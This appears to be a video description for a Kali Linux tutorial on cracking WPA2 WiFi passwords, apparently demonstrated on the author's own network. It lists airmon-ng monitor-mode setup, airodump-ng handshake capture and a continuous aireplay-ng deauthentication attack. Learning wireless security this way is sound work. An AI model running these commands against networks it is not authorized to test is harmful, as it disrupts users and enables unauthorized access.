HowTo

Full process using Kali Linux to crack WiFi passwords. I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video.

Menu:
Use airmon-ng to crack WiFi networks: 0:00
Network Adapter to use: 0:46
Kali Linux setup: 1:20
Plug in network adapter: 1:35
Verify that network adapter is recognized by Kali Linux: 2:04
WPA2 network to crack: 2:43
iwconfig: 3:27
Kali Version: 3:34
Kill conflicting processes with airmon-ng: 3:55
Put interface into monitor mode: 4:32
Discover WiFi Networks with airodump-ng: 5:15
Use airodump-ng to view only one network: 6:20
Connect to network using an iPhone: 6:39
airodump-ng capture WPA2 four way handshake: 6:58
Use aireplay-ng to deauthenticate clients: 7:25
WPA2 four way handshake captured: 8:08
Use Wireshark to view WPA2 four way handshake: 8:38
Put interface back into managed mode: 9:30
Crack WPA2 password with aircrack-ng: 10:10
Password cracked: 11:00
WiFi router WPA2 settings: 12:00

Commands used:
================
! See version of Kali
cat /etc/os-release
uname -a

! See interfaces
ip addr
iwconfig

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:
iwconfig

! Get the AP's MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
